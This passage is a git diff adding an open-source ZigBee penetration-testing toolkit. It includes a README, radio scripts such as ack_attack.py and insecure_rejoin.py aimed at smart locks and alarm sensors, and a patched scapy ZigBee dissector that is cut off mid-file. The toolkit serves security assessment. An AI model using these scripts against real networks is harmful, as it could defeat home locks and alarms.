diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..d56c4db
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,6 @@
+build/
+dist/
+*.egg-info/
+__pycache__
+venv
+.vscode
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..b41ef70
--- /dev/null
+++ b/README.md
@@ -0,0 +1,85 @@
+
+
+# ZigDiggity Version 2
+
+Introducing *ZigDiggity 2.0*, a ZigBee penetration testing framework created by Matt Gleason & Francis Brown of [Bishop Fox](https://www.bishopfox.com/ "Bishop Fox"). Special thanks to Caleb Marion!
+
+*ZigDiggity* version 2 is a major overhaul of the original package and aims to enable cybersecurity professionals, auditors, and developers to run complex interactions with ZigBee networks using a single device.
+
+## 2019 - Black Hat USA 2019 & DEF CON 27 - links, slides, and videos
+* [Black Hat USA 2019 - ARSENAL LAB - ZigBee Hacking: Smarter Home Invasion with ZigDiggity - Aug 7-8, 2019](https://www.blackhat.com/us-19/arsenal/schedule/index.html#arsenal-lab---zigbee-hacking-smarter-home-invasion-with-zigdiggity-17151 "Black Hat USA 2019 - ARSENAL LAB - ZigBee Hacking: Smarter Home Invasion with ZigDiggity - Aug 7-8, 2019")
+* https://www.defcon.org/html/defcon-27/dc-27-demolabs.html#ZigDiggity
+ * 
+
+### Videos
+* [YouTube - Zigbee Hacking: Smarter Home Invasion with ZigDiggity - 58sec DEMO - 20Aug2019](https://www.youtube.com/watch?v=9_0SoKsVklMQ "YouTube - Zigbee Hacking: Smarter Home Invasion with ZigDiggity - 58sec DEMO - 20Aug2019")
+ * Defeating Zigbee smart locks & home alarm sensors; demonstrating effective IoT product security evaluations using ZigDiggity 2.0 - the new open-source Zigbee pentest toolkit from Bishop Fox.
+
+
+
+### Slides
+* https://www.slideshare.net/bishopfox/smarter-home-invasion-with-zigdiggity-165606623
+* https://www.bishopfox.com/files/slides/2019/Black_Hat_USA_2019-Zigbee_Hacking-Smarter_Home_Invasion_with_ZigDiggity-08Aug2019-Slides.pdf
+
+### ABSTRACT:
+> Do you feel safe in your home with the security system armed? You may reconsider after watching a demo of our new hacking toolkit, ZigDiggity, where we target door & window sensors using an "ACK Attack". ZigDiggity will emerge as the weapon of choice for testing Zigbee-enabled systems, replacing all previous efforts.
+>
+> Zigbee continues to grow in popularity as a method for providing simple wireless communication between devices (i.e. low power/traffic, short distance), & can be found in a variety of consumer products that range from smart home automation to healthcare. Security concerns introduced by these systems are just as diverse and plentiful, underscoring a need for quality assessment tools.
+>
+> Unfortunately, existing Zigbee hacking solutions have fallen into disrepair, having barely been maintained, let alone improved upon. Left without a practical way to evaluate the security of Zigbee networks, we've created ZigDiggity, a new open-source pentest arsenal from Bishop Fox.
+>
+> Our DEMO-rich presentation showcases ZigDiggity's attack capabilities by pitting it against common Internet of Things (IoT) products that use Zigbee. Come experience the future of Zigbee hacking, in a talk that the New York Times will be hailing as "a veritable triumph of the human spirit." ... ya know, probably
+
+
+## Installation
+
+Using a default install of Raspbian, perform the following steps:
+
+* Plug your Raspbee into your Raspberry Pi
+* Enable serial using the `sudo raspbi-config` command
+ * Select "Advanced Options/Serial"
+ * Select *NO* to "Would you like a login shell to be accessible over serial?"
+ * Select *YES* to enabling serial
+ * Restart the Raspberry Pi
+* Install GCFFlasher available [Here](https://www.dresden-elektronik.de/funktechnik/service/download/driver/?L=1)
+* Flash the Raspbee's firmware
+ * `sudo GCFFlasher -f firmware/zigdiggity_raspbee.bin`
+ * `sudo GCFFlasher -r`
+* Install the python requirements using `pip3 install -r requirements.txt`
+* Patch scapy `sudo cp patch/zigbee.py /usr/local/lib/python3.5/dist-packages/scapy/layers/zigbee.py`
+* Install wireshark on the device using `sudo apt-get install wireshark`
+
+### Hardware
+
+The current version of ZigDiggity is solely designed for use with the [Raspbee](https://www.dresden-elektronik.de/funktechnik/solutions/wireless-light-control/raspbee/?L=1)
+* https://www.amazon.com/RaspBee-premium-ZigBee-Raspberry-Firmware/dp/B00E6300DO
+ * 
+* Raspberry Pi 3 B+
+ * https://www.amazon.com/CanaKit-Raspberry-Power-Supply-Listed/dp/B07BC6WH7V
+* RasPad by SunFounder (Optional) - great portable Zigbee hacking solution, tablet to house the RaspPi3 & RaspBee radio:
+ * https://www.amazon.com/SunFounder-RasPad-Built-Touchscreen-Compatible/dp/B07JG53K2W/
+ * 
+
+## Usage
+
+Currently scripts are available in the root of the repository, they can all be run using Python3:
+
+```python3 listen.py -c 15```
+
+When running with wireshark, root privileges may be required.
+
+### Scripts
+
+* `ack_attack.py` - Performs the acknowledge attack against a given network.
+* `beacon.py` - Sends a single beacon and listens for a short time. Intended for finding which networks are near you.
+* `find_locks.py` - Examines the network traffic on a channel to determine if device behavior looks like a lock. Displays which devices it thinks are locks.
+* `insecure_rejoin.py` - Runs an insecure rejoin attempt on the target network.
+* `listen.py` - Listens on a channel piping all output to wireshark for viewing.
+* `scan.py` - Moves between channels listening and piping the data to wireshark for viewing.
+* `unlock.py` - Attempts to unlock a target lock
+
+## Notes
+
+The patterns used by ZigDiggity version 2 are designed to be as reliable as possible. The tool is still in fairly early stages of development, so expect to see improvements over time.
diff --git a/ack_attack.py b/ack_attack.py
new file mode 100755
index 0000000..53eaade
--- /dev/null
+++ b/ack_attack.py
@@ -0,0 +1,71 @@
+#!/usr/bin/env python
+import os
+import sys
+sys.path.append(os.getcwd() + "/zigdiggity")
+
+import time
+import signal
+import argparse
+from scapy.layers.dot15d4 import *
+from scapy.layers.zigbee import *
+
+from zigdiggity.radios.raspbee_radio import RaspbeeRadio
+from zigdiggity.radios.observer_radio import ObserverRadio
+from zigdiggity.observers.wireshark_observer import WiresharkObserver
+import zigdiggity.crypto.utils as crypto_utils
+from zigdiggity.misc.actions import *
+from zigdiggity.packets.utils import get_pan_id, get_source
+from zigdiggity.interface.components.logo import Logo
+
+parser = argparse.ArgumentParser(description='Perform an acknowledge attack against the target network')
+parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use')
+parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device')
+parser.add_argument('-e','--epan',action='store',type=lambda s: int(s.replace(':',''),16),dest='epan',required=True,help='The Extended PAN ID of the network to target')
+parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='The Extended PAN ID of the network to target')
+args = parser.parse_args()
+
+logo = Logo()
+logo.print()
+
+hardware_radio = RaspbeeRadio(args.device)
+radio = ObserverRadio(hardware_radio)
+
+if args.wireshark:
+ wireshark = WiresharkObserver()
+ radio.add_observer(wireshark)
+
+def handle_interrupt(signal, frame):
+ global interrupted
+ print_notify("Exiting the current script")
+ interrupted = True
+
+CHANNEL = args.channel
+TARGET_EPAN=args.epan
+
+radio.set_channel(CHANNEL)
+
+panid = get_pan_by_extended_pan(radio, TARGET_EPAN)
+if panid is None:
+ print_error("Could not find the PAN ID corresponding to the target network.")
+ exit(1)
+
+print_info("Performing a PAN ID conflict against the network")
+
+for attempts in range(10):
+ pan_conflict_by_panid(radio, panid)
+ time.sleep(2)
+ next_panid = get_pan_by_extended_pan(radio, TARGET_EPAN)
+ if panid != next_panid:
+ break
+ if attempts == 9:
+ print_error("All 10 attempts to perform a PAN ID conflict failed.")
+
+signal.signal(signal.SIGINT, handle_interrupt)
+interrupted = False
+
+print_notify("Acking to all the traffic to PAN 0x%04x" % panid)
+print_info("Use ctrl+c to stop the attack")
+while not interrupted:
+ radio.receive_and_ack(panid=panid, addr=0x0000)
+
+radio.off()
diff --git a/beacon.py b/beacon.py
new file mode 100755
index 0000000..26847e6
--- /dev/null
+++ b/beacon.py
@@ -0,0 +1,61 @@
+#!/usr/bin/env python
+import os
+import sys
+sys.path.append(os.getcwd() + "/zigdiggity")
+
+import time
+import signal
+import random
+import argparse
+import hexdump
+from scapy.layers.dot15d4 import *
+from scapy.layers.zigbee import *
+
+from zigdiggity.radios.raspbee_radio import RaspbeeRadio
+from zigdiggity.radios.observer_radio import ObserverRadio
+import zigdiggity.observers.utils as observer_utils
+from zigdiggity.packets.dot15d4 import beacon_request
+from zigdiggity.interface.console import print_notify
+from zigdiggity.misc.timer import Timer
+from zigdiggity.interface.components.logo import Logo
+
+parser = argparse.ArgumentParser(description='Send a beacon request')
+parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use')
+parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device')
+parser.add_argument('-s','--stdout',action='store_true',dest='stdout',required=False,help='dump traffic to stdout')
+parser.add_argument('-t','--timeout',action='store',type=int,dest='timeout',default=5,help='response listen timeout')
+parser.add_argument('-v','--verbose',action='store_true',dest='verbose',required=False,help='verbose logging')
+parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark')
+args = parser.parse_args()
+
+logo = Logo()
+logo.print()
+
+hardware_radio = RaspbeeRadio(args.device)
+radio = ObserverRadio(hardware_radio)
+
+if args.wireshark:
+ observer_utils.register_wireshark(radio)
+ if args.verbose:
+ print_notify("Registered Wireshark Observer")
+if args.stdout:
+ observer_utils.register_stdout(radio)
+ if args.verbose:
+ print_notify("Registered Stdout Observer")
+
+radio.set_channel(args.channel)
+radio.receive()
+
+if args.verbose:
+ print_notify("Sending the beacon request to channel %d" % radio.get_channel())
+
+try:
+ timer = Timer(args.timeout)
+ print(type(beacon_request()), len(beacon_request()))
+ hexdump.hexdump(bytes(beacon_request()))
+ #radio.send_and_retry(beacon_request(random.randint(0,255)))
+ radio.send(beacon_request(random.randint(0,255)))
+ while not timer.has_expired():
+ radio.receive()
+finally:
+ radio.off()
diff --git a/find_locks.py b/find_locks.py
new file mode 100755
index 0000000..bf8dfea
--- /dev/null
+++ b/find_locks.py
@@ -0,0 +1,35 @@
+#!/usr/bin/env python
+import os
+import sys
+sys.path.append(os.getcwd() + "/zigdiggity")
+
+import time
+import argparse
+from scapy.layers.dot15d4 import *
+from scapy.layers.zigbee import *
+
+from zigdiggity.radios.raspbee_radio import RaspbeeRadio
+from zigdiggity.radios.observer_radio import ObserverRadio
+from zigdiggity.observers.wireshark_observer import WiresharkObserver
+from zigdiggity.interface.console import print_notify
+import zigdiggity.crypto.utils as crypto_utils
+from zigdiggity.misc.actions import *
+
+parser = argparse.ArgumentParser(description='Attempt to find locks on a channel')
+parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use')
+parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device')
+parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark')
+args = parser.parse_args()
+
+hardware_radio = RaspbeeRadio(args.device)
+radio = ObserverRadio(hardware_radio)
+
+if args.wireshark:
+ wireshark = WiresharkObserver()
+ radio.add_observer(wireshark)
+
+radio.set_channel(args.channel)
+print_notify("Current on channel %d" % args.channel)
+find_locks(radio)
+
+radio.off()
diff --git a/firmware/zigdiggity_raspbee.bin b/firmware/zigdiggity_raspbee.bin
new file mode 100755
index 0000000..575f4f7
Binary files /dev/null and b/firmware/zigdiggity_raspbee.bin differ
diff --git a/images/RaspBee-image-2.jpg b/images/RaspBee-image-2.jpg
new file mode 100644
index 0000000..91b9ec4
Binary files /dev/null and b/images/RaspBee-image-2.jpg differ
diff --git a/images/ZigDiggity-2019-Logo_and_Example-1.jpg b/images/ZigDiggity-2019-Logo_and_Example-1.jpg
new file mode 100644
index 0000000..57b1c8f
Binary files /dev/null and b/images/ZigDiggity-2019-Logo_and_Example-1.jpg differ
diff --git a/images/ZigDiggity-Aug2019-DefCon27-DemoLab-1-Smaller.jpg b/images/ZigDiggity-Aug2019-DefCon27-DemoLab-1-Smaller.jpg
new file mode 100644
index 0000000..4d73cee
Binary files /dev/null and b/images/ZigDiggity-Aug2019-DefCon27-DemoLab-1-Smaller.jpg differ
diff --git a/images/ZigDiggity-PortableRaspPiPad_w_Touchscreen-4a.jpg b/images/ZigDiggity-PortableRaspPiPad_w_Touchscreen-4a.jpg
new file mode 100644
index 0000000..c9fdefd
Binary files /dev/null and b/images/ZigDiggity-PortableRaspPiPad_w_Touchscreen-4a.jpg differ
diff --git a/insecure_rejoin.py b/insecure_rejoin.py
new file mode 100755
index 0000000..8665544
--- /dev/null
+++ b/insecure_rejoin.py
@@ -0,0 +1,55 @@
+#!/usr/bin/env python
+import os
+import sys
+sys.path.append(os.getcwd() + "/zigdiggity")
+
+import time
+import argparse
+from scapy.layers.dot15d4 import *
+from scapy.layers.zigbee import *
+
+from zigdiggity.radios.raspbee_radio import RaspbeeRadio
+from zigdiggity.radios.observer_radio import ObserverRadio
+from zigdiggity.observers.wireshark_observer import WiresharkObserver
+import zigdiggity.crypto.utils as crypto_utils
+from zigdiggity.misc.actions import *
+from zigdiggity.interface.components.logo import Logo
+
+parser = argparse.ArgumentParser(description='Attempt to perform an insecure network join')
+parser.add_argument('-a','--attempts',action='store',type=int,dest='attempts',default=3,help='Number of rejoin attempts')
+parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use')
+parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device')
+parser.add_argument('-e','--epan',action='store',type=lambda s: int(s.replace(':',''),16),dest='epan',required=True,help='The Extended PAN ID of the network to target')
+parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark')
+args = parser.parse_args()
+
+logo = Logo()
+logo.print()
+
+hardware_radio = RaspbeeRadio(args.device)
+radio = ObserverRadio(hardware_radio)
+
+if args.wireshark:
+ wireshark = WiresharkObserver()
+ radio.add_observer(wireshark)
+
+TARGET_EPAN = args.epan
+CHANNELS = [args.channel]
+
+start_time = time.time()
+for channel in CHANNELS:
+
+ radio.set_channel(channel)
+
+ panid = get_pan_by_extended_pan(radio, TARGET_EPAN)
+ if panid is None:
+ print_error("Could not find the PAN ID corresponding to the target network.")
+ exit(1)
+
+ for attempt in range(args.attempts):
+ key = insecure_rejoin_by_panid(radio, panid, extended_src=0x01020304050607)
+ if key is not None:
+ break
+
+radio.off()
+print_notify("Total elapsed time: %f seconds" % (time.time()-start_time))
diff --git a/listen.py b/listen.py
new file mode 100755
index 0000000..a153520
--- /dev/null
+++ b/listen.py
@@ -0,0 +1,52 @@
+#!/usr/bin/env python
+import os
+import sys
+sys.path.append(os.getcwd() + "/zigdiggity")
+
+import signal
+import time
+import argparse
+from zigdiggity.radios.raspbee_radio import RaspbeeRadio
+from zigdiggity.radios.observer_radio import ObserverRadio
+import zigdiggity.observers.utils as observer_utils
+from scapy.layers.dot15d4 import *
+from scapy.layers.zigbee import *
+from zigdiggity.interface.console import print_notify
+from zigdiggity.interface.components.logo import Logo
+
+def handle_interrupt(signal, frame):
+ global interrupted
+ print_notify("Exiting the current script")
+ interrupted = True
+
+parser = argparse.ArgumentParser(description='Listen to a Zigbee traffic on a channel')
+parser.add_argument('-c', '--channel', action='store',type=int, required=True,help='Channel to use')
+parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device')
+parser.add_argument('-s','--stdout',action='store_true',dest='stdout',required=False,help='dump traffic to stdout')
+parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='See all traffic in wireshark')
+args = parser.parse_args()
+
+logo = Logo()
+logo.print()
+
+hardware_radio = RaspbeeRadio(args.device)
+radio = ObserverRadio(hardware_radio)
+
+if args.wireshark:
+ observer_utils.register_wireshark(radio)
+ print_notify("Registered Wireshark Observer")
+if args.stdout:
+ observer_utils.register_stdout(radio)
+ print_notify("Registered Stdout Observer")
+
+radio.set_channel(args.channel)
+
+print_notify("Listening to channel %d" % radio.get_channel())
+
+signal.signal(signal.SIGINT, handle_interrupt)
+interrupted = False
+
+while not interrupted:
+ result = radio.receive()
+
+radio.off()
diff --git a/patch/zigbee.py b/patch/zigbee.py
new file mode 100644
index 0000000..4db2a5d
--- /dev/null
+++ b/patch/zigbee.py
@@ -0,0 +1,1007 @@
+# This program is published under a GPLv2 license
+# This file is part of Scapy
+# See http://www.secdev.org/projects/scapy for more information
+# Copyright (C) Ryan Speers 2011-2012
+# Copyright (C) Roger Meyer : 2012-03-10 Added frames
+# Copyright (C) Gabriel Potter : 2018
+# Intern at INRIA Grand Nancy Est
+# This program is published under a GPLv2 license
+
+"""
+ZigBee bindings for IEEE 802.15.4.
+"""
+
+import struct
+
+from scapy.compat import orb
+from scapy.packet import bind_layers, bind_bottom_up, Packet
+from scapy.fields import BitField, ByteField, XLEIntField, ConditionalField, \
+ ByteEnumField, EnumField, BitEnumField, FieldListField, FlagsField, \
+ IntField, PacketListField, ShortField, StrField, StrFixedLenField, \
+ StrLenField, XLEShortField, XStrField
+
+from scapy.layers.dot15d4 import dot15d4AddressField, Dot15d4Beacon, Dot15d4, \
+ Dot15d4FCS
+from scapy.layers.inet import UDP
+from scapy.layers.ntp import TimeStampField
+
+# ZigBee Cluster Library Identifiers, Table 2.2 ZCL
+_zcl_cluster_identifier = {
+ # Functional Domain: General
+ 0x0000: "basic",
+ 0x0001: "power_configuration",
+ 0x0002: "device_temperature_configuration",
+ 0x0003: "identify",
+ 0x0004: "groups",
+ 0x0005: "scenes",
+ 0x0006: "on_off",
+ 0x0007: "on_off_switch_configuration",
+ 0x0008: "level_control",
+ 0x0009: "alarms",
+ 0x000a: "time",
+ 0x000b: "rssi_location",
+ 0x000c: "analog_input",
+ 0x000d: "analog_output",
+ 0x000e: "analog_value",
+ 0x000f: "binary_input",
+ 0x0010: "binary_output",
+ 0x0011: "binary_value",
+ 0x0012: "multistate_input",
+ 0x0013: "multistate_output",
+ 0x0014: "multistate_value",
+ 0x0015: "commissioning",
+ # 0x0016 - 0x00ff reserved
+ # Functional Domain: Closures
+ 0x0100: "shade_configuration",
+ # 0x0101 - 0x01ff reserved
+ # Functional Domain: HVAC
+ 0x0200: "pump_configuration_and_control",
+ 0x0201: "thermostat",
+ 0x0202: "fan_control",
+ 0x0203: "dehumidification_control",
+ 0x0204: "thermostat_user_interface_configuration",
+ # 0x0205 - 0x02ff reserved
+ # Functional Domain: Lighting
+ 0x0300: "color_control",
+ 0x0301: "ballast_configuration",
+ # Functional Domain: Measurement and sensing
+ 0x0400: "illuminance_measurement",
+ 0x0401: "illuminance_level_sensing",
+ 0x0402: "temperature_measurement",
+ 0x0403: "pressure_measurement",
+ 0x0404: "flow_measurement",
+ 0x0405: "relative_humidity_measurement",
+ 0x0406: "occupancy_sensing",
+ # Functional Domain: Security and safethy
+ 0x0500: "ias_zone",
+ 0x0501: "ias_ace",
+ 0x0502: "ias_wd",
+ # Functional Domain: Protocol Interfaces
+ 0x0600: "generic_tunnel",
+ 0x0601: "bacnet_protocol_tunnel",
+ 0x0602: "analog_input_regular",
+ 0x0603: "analog_input_extended",
+ 0x0604: "analog_output_regular",
+ 0x0605: "analog_output_extended",
+ 0x0606: "analog_value_regular",
+ 0x0607: "analog_value_extended",
+ 0x0608: "binary_input_regular",
+ 0x0609: "binary_input_extended",
+ 0x060a: "binary_output_regular",
+ 0x060b: "binary_output_extended",
+ 0x060c: "binary_value_regular",
+ 0x060d: "binary_value_extended",
+ 0x060e: "multistate_input_regular",
+ 0x060f: "multistate_input_extended",
+ 0x0610: "multistate_output_regular",
+ 0x0611: "multistate_output_extended",
+ 0x0612: "multistate_value_regular",
+ 0x0613: "multistate_value",
+ # Smart Energy Profile Clusters
+ 0x0700: "price",
+ 0x0701: "demand_response_and_load_control",
+ 0x0702: "metering",
+ 0x0703: "messaging",
+ 0x0704: "smart_energy_tunneling",
+ 0x0705: "prepayment",
+ # Functional Domain: General
+ # Key Establishment
+ 0x0800: "key_establishment",
+}
+
+# ZigBee stack profiles
+_zcl_profile_identifier = {
+ 0x0000: "ZigBee_Stack_Profile_1",
+ 0x0101: "IPM_Industrial_Plant_Monitoring",
+ 0x0104: "HA_Home_Automation",
+ 0x0105: "CBA_Commercial_Building_Automation",
+ 0x0107: "TA_Telecom_Applications",
+ 0x0108: "HC_Health_Care",
+ 0x0109: "SE_Smart_Energy_Profile",
+}
+
+# ZigBee Cluster Library, Table 2.8 ZCL Command Frames
+_zcl_command_frames = {
+ 0x00: "read_attributes",
+ 0x01: "read_attributes_response",
+ 0x02: "write_attributes_response",
+ 0x03: "write_attributes_undivided",
+ 0x04: "write_attributes_response",
+ 0x05: "write_attributes_no_response",
+ 0x06: "configure_reporting",
+ 0x07: "configure_reporting_response",
+ 0x08: "read_reporting_configuration",
+ 0x09: "read_reporting_configuration_response",
+ 0x0a: "report_attributes",
+ 0x0b: "default_response",
+ 0x0c: "discover_attributes",
+ 0x0d: "discover_attributes_response",
+ # 0x0e - 0xff Reserved
+}
+
+# ZigBee Cluster Library, Table 2.16 Enumerated Status Values
+_zcl_enumerated_status_values = {
+ 0x00: "SUCCESS",
+ 0x02: "FAILURE",
+ # 0x02 - 0x7f Reserved
+ 0x80: "MALFORMED_COMMAND",
+ 0x81: "UNSUP_CLUSTER_COMMAND",
+ 0x82: "UNSUP_GENERAL_COMMAND",
+ 0x83: "UNSUP_MANUF_CLUSTER_COMMAND",
+ 0x84: "UNSUP_MANUF_GENERAL_COMMAND",
+ 0x85: "INVALID_FIELD",
+ 0x86: "UNSUPPORTED_ATTRIBUTE",
+ 0x87: "INVALID_VALUE",
+ 0x88: "READ_ONLY",
+ 0x89: "INSUFFICIENT_SPACE",
+ 0x8a: "DUPLICATE_EXISTS",
+ 0x8b: "NOT_FOUND",
+ 0x8c: "UNREPORTABLE_ATTRIBUTE",
+ 0x8d: "INVALID_DATA_TYPE",
+ # 0x8e - 0xbf Reserved
+ 0xc0: "HARDWARE_FAILURE",
+ 0xc1: "SOFTWARE_FAILURE",
+ 0xc2: "CALIBRATION_ERROR",
+ # 0xc3 - 0xff Reserved
+}
+
+# ZigBee Cluster Library, Table 2.15 Data Types
+_zcl_attribute_data_types = {
+ 0x00: "no_data",
+ # General data
+ 0x08: "8-bit_data",
+ 0x09: "16-bit_data",
+ 0x0a: "24-bit_data",
+ 0x0b: "32-bit_data",
+ 0x0c: "40-bit_data",
+ 0x0d: "48-bit_data",
+ 0x0e: "56-bit_data",
+ 0x0f: "64-bit_data",
+ # Logical
+ 0x10: "boolean",
+ # Bitmap
+ 0x18: "8-bit_bitmap",
+ 0x19: "16-bit_bitmap",
+ 0x1a: "24-bit_bitmap",
+ 0x1b: "32-bit_bitmap",
+ 0x1c: "40-bit_bitmap",
+ 0x1d: "48-bit_bitmap",
+ 0x1e: "56-bit_bitmap",
+ 0x1f: "64-bit_bitmap",
+ # Unsigned integer
+ 0x20: "Unsigned_8-bit_integer",
+ 0x21: "Unsigned_16-bit_integer",
+ 0x22: "Unsigned_24-bit_integer",
+ 0x23: "Unsigned_32-bit_integer",
+ 0x24: "Unsigned_40-bit_integer",
+ 0x25: "Unsigned_48-bit_integer",
+ 0x26: "Unsigned_56-bit_integer",
+ 0x27: "Unsigned_64-bit_integer",
+ # Signed integer
+ 0x28: "Signed_8-bit_integer",
+ 0x29: "Signed_16-bit_integer",
+ 0x2a: "Signed_24-bit_integer",
+ 0x2b: "Signed_32-bit_integer",
+ 0x2c: "Signed_40-bit_integer",
+ 0x2d: "Signed_48-bit_integer",
+ 0x2e: "Signed_56-bit_integer",
+ 0x2f: "Signed_64-bit_integer",
+ # Enumeration
+ 0x30: "8-bit_enumeration",
+ 0x31: "16-bit_enumeration",
+ # Floating point
+ 0x38: "semi_precision",
+ 0x39: "single_precision",
+ 0x3a: "double_precision",
+ # String
+ 0x41: "octet-string",
+ 0x42: "character_string",
+ 0x43: "long_octet_string",
+ 0x44: "long_character_string",
+ # Ordered sequence
+ 0x48: "array",
+ 0x4c: "structure",
+ # Collection
+ 0x50: "set",
+ 0x51: "bag",
+ # Time
+ 0xe0: "time_of_day",
+ 0xe1: "date",
+ 0xe2: "utc_time",
+ # Identifier
+ 0xe8: "cluster_id",
+ 0xe9: "attribute_id",
+ 0xea: "bacnet_oid",
+ # Miscellaneous
+ 0xf0: "ieee_address",
+ 0xf1: "128-bit_security_key",
+ # Unknown
+ 0xff: "unknown",
+}
+
+
+# ZigBee #
+
+class ZigbeeNWK(Packet):
+ name = "Zigbee Network Layer"
+ fields_desc = [
+ BitField("discover_route", 0, 2),
+ BitField("proto_version", 2, 4),
+ BitEnumField("frametype", 0, 2, {0: 'data', 1: 'command'}),
+ FlagsField("flags", 0, 8, ['multicast', 'security', 'source_route', 'extended_dst', 'extended_src', 'reserved1', 'reserved2', 'reserved3']), # noqa: E501
+ XLEShortField("destination", 0),
+ XLEShortField("source", 0),
+ ByteField("radius", 0),
+ ByteField("seqnum", 1),
+
+ # ConditionalField(XLongField("ext_dst", 0), lambda pkt:pkt.flags & 8),
+
+ ConditionalField(dot15d4AddressField("ext_dst", 0, adjust=lambda pkt, x: 8), lambda pkt:pkt.flags & 8), # noqa: E501
+ ConditionalField(dot15d4AddressField("ext_src", 0, adjust=lambda pkt, x: 8), lambda pkt:pkt.flags & 16), # noqa: E501
+
+ ConditionalField(ByteField("relay_count", 1), lambda pkt:pkt.flags & 0x04), # noqa: E501
+ ConditionalField(ByteField("relay_index", 0), lambda pkt:pkt.flags & 0x04), # noqa: E501
+ ConditionalField(FieldListField("relays", [], XLEShortField("", 0x0000), count_from=lambda pkt:pkt.relay_count), lambda pkt:pkt.flags & 0x04), # noqa: E501
+ ]
+
+ def guess_payload_class(self, payload):
+ if self.flags & 0x02:
+ return ZigbeeSecurityHeader
+ elif self.frametype == 0:
+ return ZigbeeAppDataPayload
+ elif self.frametype == 1:
+ return ZigbeeNWKCommandPayload
+ else:
+ return Packet.guess_payload_class(self, payload)
+
+
+class LinkStatusEntry(Packet):
+ name = "ZigBee Link Status Entry"
+ fields_desc = [
+ # Neighbor network address (2 octets)
+ XLEShortField("neighbor_network_address", 0x0000),
+ # Link status (1 octet)
+ BitField("reserved1", 0, 1),
+ BitField("outgoing_cost", 0, 3),
+ BitField("reserved2", 0, 1),
+ BitField("incoming_cost", 0, 3),
+ ]
+
+
+class ZigbeeNWKCommandPayload(Packet):
+ name = "Zigbee Network Layer Command Payload"
+ fields_desc = [
+ ByteEnumField("cmd_identifier", 1, {
+ 1: "route request",
+ 2: "route reply",
+ 3: "network status",
+ 4: "leave",
+ 5: "route record",
+ 6: "rejoin request",
+ 7: "rejoin response",
+ 8: "link status",
+ 9: "network report",
+ 10: "network update"
+ # 0x0b - 0xff reserved
+ }),
+
+ # - Route Request Command - #
+ # Command options (1 octet)
+ ConditionalField(BitField("reserved", 0, 1), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501
+ ConditionalField(BitField("multicast", 0, 1), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501
+ ConditionalField(BitField("dest_addr_bit", 0, 1), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501
+ ConditionalField(
+ BitEnumField("many_to_one", 0, 2, {
+ 0: "not_m2one", 1: "m2one_support_rrt", 2: "m2one_no_support_rrt", 3: "reserved"} # noqa: E501
+ ), lambda pkt: pkt.cmd_identifier == 1),
+ ConditionalField(BitField("reserved", 0, 3), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501
+ # Route request identifier (1 octet)
+ ConditionalField(ByteField("route_request_identifier", 0), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501
+ # Destination address (2 octets)
+ ConditionalField(XLEShortField("destination_address", 0x0000), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501
+ # Path cost (1 octet)
+ ConditionalField(ByteField("path_cost", 0), lambda pkt: pkt.cmd_identifier == 1), # noqa: E501
+ # Destination IEEE Address (0/8 octets), only present when dest_addr_bit has a value of 1 # noqa: E501
+ ConditionalField(dot15d4AddressField("ext_dst", 0, adjust=lambda pkt, x: 8), # noqa: E501
+ lambda pkt: (pkt.cmd_identifier == 1 and pkt.dest_addr_bit == 1)), # noqa: E501
+
+ # - Route Reply Command - #
+ # Command options (1 octet)
+ ConditionalField(BitField("reserved", 0, 1), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501
+ ConditionalField(BitField("multicast", 0, 1), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501
+ ConditionalField(BitField("responder_addr_bit", 0, 1), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501
+ ConditionalField(BitField("originator_addr_bit", 0, 1), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501
+ ConditionalField(BitField("reserved", 0, 4), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501
+ # Route request identifier (1 octet)
+ ConditionalField(ByteField("route_request_identifier", 0), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501
+ # Originator address (2 octets)
+ ConditionalField(XLEShortField("originator_address", 0x0000), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501
+ # Responder address (2 octets)
+ ConditionalField(XLEShortField("responder_address", 0x0000), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501
+ # Path cost (1 octet)
+ ConditionalField(ByteField("path_cost", 0), lambda pkt: pkt.cmd_identifier == 2), # noqa: E501
+ # Originator IEEE address (0/8 octets)
+ ConditionalField(dot15d4AddressField("originator_addr", 0, adjust=lambda pkt, x: 8), # noqa: E501
+ lambda pkt: (pkt.cmd_identifier == 2 and pkt.originator_addr_bit == 1)), # noqa: E501
+ # Responder IEEE address (0/8 octets)
+ ConditionalField(dot15d4AddressField("responder_addr", 0, adjust=lambda pkt, x: 8), # noqa: E501
+ lambda pkt: (pkt.cmd_identifier == 2 and pkt.responder_addr_bit == 1)), # noqa: E501
+
+ # - Network Status Command - #
+ # Status code (1 octet)
+ ConditionalField(ByteEnumField("status_code", 0, {
+ 0x00: "No route available",
+ 0x01: "Tree link failure",
+ 0x02: "Non-tree link failure",
+ 0x03: "Low battery level",
